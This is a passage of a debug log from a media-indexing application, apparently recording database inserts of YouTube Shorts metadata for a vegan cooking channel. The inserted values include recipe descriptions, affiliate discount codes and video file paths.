\u00A0\u00A0\u00A0•\u00A03\u00A0NEW\u00A0Tofu\u00A0Recipes\u00A0-\u00A0CRISPY,\u00A0SWEET,\u00A0and\u00A0SP...\u00A0\u00A0\nTofu Souvlaki from my Greek Meal Prep ➡️ \u00A0\u00A0\u00A0•\u00A0Greek\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A07\u00A0Vegan\u00A0Recipes,\u00A01\u00A0...\u00A0\u00A0\n\n\n💚 PRODUCTS I LOVE USING 💚\n💪🏼 WellBean Muggins & Protein Bars Discount 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nTyphur Air Fryer\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off\nCode: STEAMYVEGAN\nLink: https://noize.com/STEAMYVEGAN\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Lemon Pepper Tofu Recipe ☀️ Vegan + GF Recipe", "8b08cd35-8a7a-4609-ac3c-cf05dc7d3840", 1, [], false, "FMuHeX9Qlww", "https://www.youtube.com/shorts/FMuHeX9Qlww", 11, "/downloads/downloads/alec/Steamy Vegan/2026-01-04 Lemon Pepper Tofu Recipe ☀️ Vegan + GF Recipe/Lemon Pepper Tofu Recipe ☀️ Vegan + GF Recipe [FMuHeX9Qlww].NA", false, false, true, 1, ~U[2026-01-04 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Want to master cooking with tofu? I have over 30 different tofu recipes on my YouTube channel and blog and over 800 healthy and high protein vegan recipes on my channel and blog. Subscribe and stay tuned for 2 new recipes every week!\n\nCheck out the full length video here: \u00A0\u00A0\u00A0•\u00A02\u00A0tofu\u00A0recipes\u00A0even\u00A0MEAT\u00A0eaters\u00A0will\u00A0devou...\u00A0\u00A0\n\nSubscribe to the channel here (FREE!): https://bit.ly/SteamyVegan\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nGet the recipes for both tofu recipes on my blog!\nLEMON PEPPER TOFU ➡️ https://steamyvegan.com/lemon-pepper-...\nMAPLE MUSTARD TOFU ➡️ https://steamyvegan.com/maple-mustard...\n\nOther Tofu Recipes to Check out on the Channel: \nPesto Tofu ➡️ \u00A0\u00A0\u00A0•\u00A02\u00A0Air\u00A0Fryer\u00A0Tofu\u00A0Recipes\u00A0Even\u00A0Tofu\u00A0Haters\u00A0...\u00A0\u00A0\nTeriyaki Tofu ➡️ \u00A0\u00A0\u00A0•\u00A02\u00A0Air\u00A0Fryer\u00A0Tofu\u00A0Recipes\u00A0Even\u00A0Tofu\u00A0Haters\u00A0...\u00A0\u00A0\nTofu Sausages ➡️ \u00A0\u00A0\u00A0•\u00A0High-Protein\u00A0Vegan\u00A0Sausage\u00A0Recipe\u00A0(26g\u00A0Pro...\u00A0\u00A0\nGochujang and Mango Tofu ➡️ \u00A0\u00A0\u00A0•\u00A02\u00A0SAUCY\u00A0Tofu\u00A0Recipes\u00A0You\u00A0Need\u00A0in\u00A0Your\u00A0Life!\u00A0\u00A0\nMapo Tofu ➡️ \u00A0\u00A0\u00A0•\u00A0The\u00A0tofu\u00A0recipe\u00A0you've\u00A0never\u00A0heard\u00A0of...\u00A0b...\u00A0\u00A0\nSesame Ginger Tofu ➡️ \u00A0\u00A0\u00A0•\u00A03\u00A0NEW\u00A0Tofu\u00A0Recipes\u00A0-\u00A0CRISPY,\u00A0SWEET,\u00A0and\u00A0SP...\u00A0\u00A0\nTofu Souvlaki from my Greek Meal Prep ➡️ \u00A0\u00A0\u00A0•\u00A0Greek\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A07\u00A0Vegan\u00A0Recipes,\u00A01\u00A0...\u00A0\u00A0\n\n\n💚 PRODUCTS I LOVE USING 💚\n💪🏼 WellBean Muggins & Protein Bars Discount 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nTyphur Air Fryer\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off\nCode: STEAMYVEGAN\nLink: https://noize.com/STEAMYVEGAN\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Lemon Pepper Tofu Recipe ☀️ Vegan + GF Recipe", 1, nil, false, "FMuHeX9Qlww", "https://www.youtube.com/shorts/FMuHeX9Qlww", "/downloads/downloads/alec/Steamy Vegan/2026-01-04 Lemon Pepper Tofu Recipe ☀️ Vegan + GF Recipe/Lemon Pepper Tofu Recipe ☀️ Vegan + GF Recipe [FMuHeX9Qlww].NA", true, ~U[2026-01-04 00:00:00Z]] 20:31:08.896 [debug] QUERY OK source="sources" db=0.6ms idle=7.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.898 [debug] QUERY OK source="media_items" db=1.8ms idle=7.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-02 00:00:00Z], 1] 20:31:08.900 [debug] QUERY OK source="media_items" db=1.4ms idle=8.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We have reviewed over 50 flavours and 15 brands of plant based protein powders and have found our absolute favorite ones. We looked at categories like texture, flavor, and cleanest ingredients to determine the best plant based protein powders.\n\nWatch the full in-depth protein powder review here: \u00A0\u00A0\u00A0•\u00A0I\u00A0Tested\u00A040\u00A0Plant-Based\u00A0Protein\u00A0Powders\u00A0So...\u00A0\u00A0\n\nDISCOUNT CODES\nWe reached out to every company to see if they could provide you guys with a discount code and most of them did! All of these are discounts on your 1st purchase with each of them.\n\n1. Sprout Living: 20% off\nCode: STEAMYVEGAN20\nLink: https://sproutliving.com/STEAMYVEGAN20\n\n2. Complement: 15% off\nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c...\n\n3. Good Protein: 30% off (Only available in Canada)\nCode: JANELLEC30\nLink: https://goodprotein.ca/JANELLEC30\n\n4. Vedge Nutrition: 10% off\nCode: STEAMYVEGAN\nLink: https://www.vedgenutrition.com/?rfsn=...\n\n5. Sunwarrior: 15% off\nCode: JANELLEC\nLink: https://sunwarrior.com/pages/ambassad...\n\n6. Vivo Life: 15% off (For my UK followers and it's available in the US)\nCode: just use the below link, the discount should come up at checkout\nUS Customers: https://www.vivolife.com/steamy15\nUK Customers: https://www.vivolife.co.uk/STEAMYVEGAN\n\n\n\n*Affiliate Disclosure* By making purchases through any of these affiliate codes we do receive a small commission at NO COST to you. Your support really helps our channel grow, so thank you! \n\nCheck out my blog for the full review: steamyvegan.com\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\n💪🏼 My Fave Protein Bars to Buy - WellBean Protein Bars 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nCheck out a few of my latest recipes here:\n3 NEW Tofu Recipes: \u00A0\u00A0\u00A0•\u00A03\u00A0NEW\u00A0Tofu\u00A0Recipes\u00A0-\u00A0CRISPY,\u00A0SWEET,\u00A0and\u00A0SP...\u00A0\u00A0\nNo Cooking Meal Prep: \u00A0\u00A0\u00A0•\u00A0Healthy\u00A0High-Protein\u00A0Vegan\u00A0Meal\u00A0Prep\u00A0🌱\u00A0NO\u00A0...\u00A0\u00A0\nHigh-Protein Costco Haul: \u00A0\u00A0\u00A0•\u00A0Costco\u00A0Grocery\u00A0Haul!\u00A0🛒\u00A0Vegan\u00A0and\u00A0Gluten\u00A0Fr...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Top 5 Plant-Based Protein Powders 💪", "cfe38c9a-6a9f-42cb-b250-4bfbf902dd5f", 1, [], false, "JpYtM4pmKnI", "https://www.youtube.com/shorts/JpYtM4pmKnI", 12, "/downloads/downloads/alec/Steamy Vegan/2026-01-02 Top 5 Plant-Based Protein Powders 💪/Top 5 Plant-Based Protein Powders 💪 [JpYtM4pmKnI].NA", false, false, true, 1, ~U[2026-01-02 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "We have reviewed over 50 flavours and 15 brands of plant based protein powders and have found our absolute favorite ones. We looked at categories like texture, flavor, and cleanest ingredients to determine the best plant based protein powders.\n\nWatch the full in-depth protein powder review here: \u00A0\u00A0\u00A0•\u00A0I\u00A0Tested\u00A040\u00A0Plant-Based\u00A0Protein\u00A0Powders\u00A0So...\u00A0\u00A0\n\nDISCOUNT CODES\nWe reached out to every company to see if they could provide you guys with a discount code and most of them did! All of these are discounts on your 1st purchase with each of them.\n\n1. Sprout Living: 20% off\nCode: STEAMYVEGAN20\nLink: https://sproutliving.com/STEAMYVEGAN20\n\n2. Complement: 15% off\nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c...\n\n3. Good Protein: 30% off (Only available in Canada)\nCode: JANELLEC30\nLink: https://goodprotein.ca/JANELLEC30\n\n4. Vedge Nutrition: 10% off\nCode: STEAMYVEGAN\nLink: https://www.vedgenutrition.com/?rfsn=...\n\n5. Sunwarrior: 15% off\nCode: JANELLEC\nLink: https://sunwarrior.com/pages/ambassad...\n\n6. Vivo Life: 15% off (For my UK followers and it's available in the US)\nCode: just use the below link, the discount should come up at checkout\nUS Customers: https://www.vivolife.com/steamy15\nUK Customers: https://www.vivolife.co.uk/STEAMYVEGAN\n\n\n\n*Affiliate Disclosure* By making purchases through any of these affiliate codes we do receive a small commission at NO COST to you. Your support really helps our channel grow, so thank you! \n\nCheck out my blog for the full review: steamyvegan.com\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\n💪🏼 My Fave Protein Bars to Buy - WellBean Protein Bars 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nCheck out a few of my latest recipes here:\n3 NEW Tofu Recipes: \u00A0\u00A0\u00A0•\u00A03\u00A0NEW\u00A0Tofu\u00A0Recipes\u00A0-\u00A0CRISPY,\u00A0SWEET,\u00A0and\u00A0SP...\u00A0\u00A0\nNo Cooking Meal Prep: \u00A0\u00A0\u00A0•\u00A0Healthy\u00A0High-Protein\u00A0Vegan\u00A0Meal\u00A0Prep\u00A0🌱\u00A0NO\u00A0...\u00A0\u00A0\nHigh-Protein Costco Haul: \u00A0\u00A0\u00A0•\u00A0Costco\u00A0Grocery\u00A0Haul!\u00A0🛒\u00A0Vegan\u00A0and\u00A0Gluten\u00A0Fr...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Top 5 Plant-Based Protein Powders 💪", 1, nil, false, "JpYtM4pmKnI", "https://www.youtube.com/shorts/JpYtM4pmKnI", "/downloads/downloads/alec/Steamy Vegan/2026-01-02 Top 5 Plant-Based Protein Powders 💪/Top 5 Plant-Based Protein Powders 💪 [JpYtM4pmKnI].NA", true, ~U[2026-01-02 00:00:00Z]] 20:31:08.902 [debug] QUERY OK source="sources" db=1.2ms queue=0.8ms idle=7.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.905 [debug] QUERY OK source="media_items" db=2.0ms idle=7.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-31 00:00:00Z], 1] 20:31:08.909 [debug] QUERY OK source="media_items" db=4.1ms idle=8.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I make these vegan pinwheels every year for New Years and they're always a huge hit. This is a super easy vegan and gluten-free recipe that everyone will love. \n\nIf you want some additional vegan appetizer inspiration then check out the full length video here:\n\u00A0\u00A0\u00A0•\u00A0Let's\u00A0PARTY!\u00A0Easy\u00A015\u00A0minute\u00A0vegan\u00A0appetize...\u00A0\u00A0\n\nZESTY PINWHEELS\n2 to 3 large fresh tortillas of choice, whole wheat or gluten-free\n1 8 oz. container vegan cream cheese, plain or herby (Or use my recipe here: https://steamyvegan.com/tofu-cream-ch...)\n2 to 3 tbsp Jalapeno pepper jelly\nHalf a red bell pepper, finely chopped\nHalf a green bell pepper, finely chopped\n¼ cup chopped pickled jalapeños \n1 tbsp dried chives\n1 tsp garlic powder\n½ tsp smoked paprika\n½ tsp sea salt\n¼ tsp fresh cracked black pepper\n¼ cup fresh chopped cilantro (optional garnish)\n\n1. Into a large mixing bowl combine the cream cheese, bell peppers, jalapenos and spices until it's a chunky mixture.\n2. Spread about 1 tbsp of pepper jelly onto a tortilla in a nice even layer almost to the edges. Then spread about a ¼ cup or more of the cream cheese spread over the jelly. Roll the tortilla up into a tight roll, sealing the edges. Place roll onto a plate and repeat with all remaning tortillas and filling. Refrigerate for 30 minutes to firm up.\n3. Transfer rolls to a cutting board and slice them into roughly ½\" inch rounds. Arrange them cut sides down on a serving platter, garnish with fresh chopped cilantro and enjoy!", "Vegan Cream Cheese Pinwheels 🎉", "047d4c8c-99a0-496e-8e0d-4288d2fd7347", 1, [], false, "R3EZLwxf6cY", "https://www.youtube.com/shorts/R3EZLwxf6cY", 13, "/downloads/downloads/alec/Steamy Vegan/2025-12-31 Vegan Cream Cheese Pinwheels 🎉/Vegan Cream Cheese Pinwheels 🎉 [R3EZLwxf6cY].NA", false, false, true, 1, ~U[2025-12-31 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "I make these vegan pinwheels every year for New Years and they're always a huge hit. This is a super easy vegan and gluten-free recipe that everyone will love. \n\nIf you want some additional vegan appetizer inspiration then check out the full length video here:\n\u00A0\u00A0\u00A0•\u00A0Let's\u00A0PARTY!\u00A0Easy\u00A015\u00A0minute\u00A0vegan\u00A0appetize...\u00A0\u00A0\n\nZESTY PINWHEELS\n2 to 3 large fresh tortillas of choice, whole wheat or gluten-free\n1 8 oz. container vegan cream cheese, plain or herby (Or use my recipe here: https://steamyvegan.com/tofu-cream-ch...)\n2 to 3 tbsp Jalapeno pepper jelly\nHalf a red bell pepper, finely chopped\nHalf a green bell pepper, finely chopped\n¼ cup chopped pickled jalapeños \n1 tbsp dried chives\n1 tsp garlic powder\n½ tsp smoked paprika\n½ tsp sea salt\n¼ tsp fresh cracked black pepper\n¼ cup fresh chopped cilantro (optional garnish)\n\n1. Into a large mixing bowl combine the cream cheese, bell peppers, jalapenos and spices until it's a chunky mixture.\n2. Spread about 1 tbsp of pepper jelly onto a tortilla in a nice even layer almost to the edges. Then spread about a ¼ cup or more of the cream cheese spread over the jelly. Roll the tortilla up into a tight roll, sealing the edges. Place roll onto a plate and repeat with all remaning tortillas and filling. Refrigerate for 30 minutes to firm up.\n3. Transfer rolls to a cutting board and slice them into roughly ½\" inch rounds. Arrange them cut sides down on a serving platter, garnish with fresh chopped cilantro and enjoy!", "Vegan Cream Cheese Pinwheels 🎉", 1, nil, false, "R3EZLwxf6cY", "https://www.youtube.com/shorts/R3EZLwxf6cY", "/downloads/downloads/alec/Steamy Vegan/2025-12-31 Vegan Cream Cheese Pinwheels 🎉/Vegan Cream Cheese Pinwheels 🎉 [R3EZLwxf6cY].NA", true, ~U[2025-12-31 00:00:00Z]] 20:31:08.910 [debug] QUERY OK source="sources" db=0.6ms idle=11.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.913 [debug] QUERY OK source="media_items" db=2.0ms idle=10.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-30 00:00:00Z], 1] 20:31:08.914 [debug] QUERY OK source="media_items" db=1.3ms idle=10.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This vegan cheese ball is always one of the biggest hits at any party or get together that I go to. If you're looking for an appetizer that's vegan, gluten-free and perfect for charcuterie boards then totally try out this recipe. \n\nIf you're looking for more appetizer ideas then check out the full length vegan appetizer episode below where I made pinwheels, chickpea stuffed mushrooms, crostinis and more:\n\u00A0\u00A0\u00A0•\u00A0Let's\u00A0PARTY!\u00A0Easy\u00A015\u00A0minute\u00A0vegan\u00A0appetize...\u00A0\u00A0\n\nSubscribe if you enjoy all kinds of healthy, high-protein, vegan and gluten-free recipes, that's what my channel is all about! Thanks!\n\nHOLIDAY CHEESEBALL\n1 block extra firm tofu (or 8 oz), patted dry\n1 cup cashews, soaked overnight or in boiled water for 1 hour\n¼ cup full fat coconut milk\n2 tbsp yellow mustard\n2 tsp sea salt\n2 tbsp lemon juice \n1 tbsp tamari\n2 tsp onion powder\n1 tsp garlic powder\n½ tsp ground pepper\nLeaves from 1 sprig of rosemary, minced\nfor the crust\n¼ cup dried currants\n¼ cup hemp hearts\n¼ cup chopped pecans\n¼ cup vegan parmesan cheese\n1 sprig of rosemary, minced\n½ tsp fresh cracked black pepper\n\n1. Break the tofu into chunks and place in the bowl of a food processor, followed by the soaked and drained cashews. Pulse a few times until broken up into small chunks.\n2. Add all the remaining cheese ball ingredients and blend on high speed for a few minutes until a thick and creamy texture is achieved, with no chunks of cashew or tofu remaining.\n3. Lay a sheet of plastic wrap on the counter and plop the cheese mixture into the centre. Carefully bring up each side of the plastic wrap and twist it closed together at the top as best as you can. You might want to layer two sheets together to give you more space, but as long as you can sort of form a round-ish ball that's great. Place into a small bowl and refrigerate it overnight to so that it can firm up and become more pliable.\n4. Add all of the crust ingredients into a flat bottomed bowl and mix to combine. Roll the cheeseball carefully in the mix until completely crusted. Serve with veg, crackers and enjoy!", "Vegan cheese ball 🧀", "929bf2cc-6685-4fec-91c7-0dcaca14570f", 1, [], false, "J0aKad-jxME", "https://www.youtube.com/shorts/J0aKad-jxME", 14, "/downloads/downloads/alec/Steamy Vegan/2025-12-30 Vegan cheese ball 🧀/Vegan cheese ball 🧀 [J0aKad-jxME].NA", false, false, true, 2, ~U[2025-12-30 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "This vegan cheese ball is always one of the biggest hits at any party or get together that I go to. If you're looking for an appetizer that's vegan, gluten-free and perfect for charcuterie boards then totally try out this recipe. \n\nIf you're looking for more appetizer ideas then check out the full length vegan appetizer episode below where I made pinwheels, chickpea stuffed mushrooms, crostinis and more:\n\u00A0\u00A0\u00A0•\u00A0Let's\u00A0PARTY!\u00A0Easy\u00A015\u00A0minute\u00A0vegan\u00A0appetize...\u00A0\u00A0\n\nSubscribe if you enjoy all kinds of healthy, high-protein, vegan and gluten-free recipes, that's what my channel is all about! Thanks!\n\nHOLIDAY CHEESEBALL\n1 block extra firm tofu (or 8 oz), patted dry\n1 cup cashews, soaked overnight or in boiled water for 1 hour\n¼ cup full fat coconut milk\n2 tbsp yellow mustard\n2 tsp sea salt\n2 tbsp lemon juice \n1 tbsp tamari\n2 tsp onion powder\n1 tsp garlic powder\n½ tsp ground pepper\nLeaves from 1 sprig of rosemary, minced\nfor the crust\n¼ cup dried currants\n¼ cup hemp hearts\n¼ cup chopped pecans\n¼ cup vegan parmesan cheese\n1 sprig of rosemary, minced\n½ tsp fresh cracked black pepper\n\n1. Break the tofu into chunks and place in the bowl of a food processor, followed by the soaked and drained cashews. Pulse a few times until broken up into small chunks.\n2. Add all the remaining cheese ball ingredients and blend on high speed for a few minutes until a thick and creamy texture is achieved, with no chunks of cashew or tofu remaining.\n3. Lay a sheet of plastic wrap on the counter and plop the cheese mixture into the centre. Carefully bring up each side of the plastic wrap and twist it closed together at the top as best as you can. You might want to layer two sheets together to give you more space, but as long as you can sort of form a round-ish ball that's great. Place into a small bowl and refrigerate it overnight to so that it can firm up and become more pliable.\n4. Add all of the crust ingredients into a flat bottomed bowl and mix to combine. Roll the cheeseball carefully in the mix until completely crusted. Serve with veg, crackers and enjoy!", "Vegan cheese ball 🧀", 1, nil, false, "J0aKad-jxME", "https://www.youtube.com/shorts/J0aKad-jxME", "/downloads/downloads/alec/Steamy Vegan/2025-12-30 Vegan cheese ball 🧀/Vegan cheese ball 🧀 [J0aKad-jxME].NA", true, ~U[2025-12-30 00:00:00Z]] 20:31:08.916 [debug] QUERY OK source="sources" db=1.2ms idle=9.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.919 [debug] QUERY OK source="media_items" db=2.4ms idle=7.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-30 00:00:00Z], 1] 20:31:08.922 [debug] QUERY OK source="media_items" db=2.0ms idle=9.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These chickpea stuffed mushrooms are the perfect holiday appetizer that everyone will love because they're vegan, gluten-free, and oh so delicious. They're an easy vegan recipe that you can quickly whip up and are perfect for people to just grab with their hands.\n\nCheck out my blog for more recipes like this:\nSTEAMYVEGAN.COM\n\nCHEEZY KRAB STUFFED SHROOMS\n1 lb. cremini or white mushrooms (approx 12-14), cleaned\n1 can chickpeas, drained and rinsed\n1 cup vegan mozzarella cheese\n¼ cup vegan mayo\n1 tap Old Bay seasoning\n\n1. Remove stems from mushrooms and set aside. Place mushrooms hole-side down on airfryer basket, air fry for 3 minutes at 400F. Remove from airfryer basket and set aside.\n2. To a large mixing bowl add the chickpeas and mash well with a fork or potato masher. Add all remaining ingredients and mix well to combine.\n3. Spoon out approx 2 tbsp of filling into each mushroom cap, overfilling into a nice mound on top. Place back into airfryer basket and air fry once more for 8 to 10 minutes or until the top begins to brown and the cheese is melty.\n4. Transfer shrooms to a serving plate, garnish with chopped herbs or choice and enjoy!", "‘Crab’ Chickpea Stuffed Mushrooms 🍄 Vegan + GF Appetizer", "19dab699-61ce-434f-a340-43f3b7fce3a0", 1, [], false, "aRA7uWCglOc", "https://www.youtube.com/shorts/aRA7uWCglOc", 15, "/downloads/downloads/alec/Steamy Vegan/2025-12-30 ‘Crab’ Chickpea Stuffed Mushrooms 🍄 Vegan + GF Appetizer/‘Crab’ Chickpea Stuffed Mushrooms 🍄 Vegan + GF Appetizer [aRA7uWCglOc].NA", false, false, true, 2, ~U[2025-12-30 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "These chickpea stuffed mushrooms are the perfect holiday appetizer that everyone will love because they're vegan, gluten-free, and oh so delicious. They're an easy vegan recipe that you can quickly whip up and are perfect for people to just grab with their hands.\n\nCheck out my blog for more recipes like this:\nSTEAMYVEGAN.COM\n\nCHEEZY KRAB STUFFED SHROOMS\n1 lb. cremini or white mushrooms (approx 12-14), cleaned\n1 can chickpeas, drained and rinsed\n1 cup vegan mozzarella cheese\n¼ cup vegan mayo\n1 tap Old Bay seasoning\n\n1. Remove stems from mushrooms and set aside. Place mushrooms hole-side down on airfryer basket, air fry for 3 minutes at 400F. Remove from airfryer basket and set aside.\n2. To a large mixing bowl add the chickpeas and mash well with a fork or potato masher. Add all remaining ingredients and mix well to combine.\n3. Spoon out approx 2 tbsp of filling into each mushroom cap, overfilling into a nice mound on top. Place back into airfryer basket and air fry once more for 8 to 10 minutes or until the top begins to brown and the cheese is melty.\n4. Transfer shrooms to a serving plate, garnish with chopped herbs or choice and enjoy!", "‘Crab’ Chickpea Stuffed Mushrooms 🍄 Vegan + GF Appetizer", 1, nil, false, "aRA7uWCglOc", "https://www.youtube.com/shorts/aRA7uWCglOc", "/downloads/downloads/alec/Steamy Vegan/2025-12-30 ‘Crab’ Chickpea Stuffed Mushrooms 🍄 Vegan + GF Appetizer/‘Crab’ Chickpea Stuffed Mushrooms 🍄 Vegan + GF Appetizer [aRA7uWCglOc].NA", 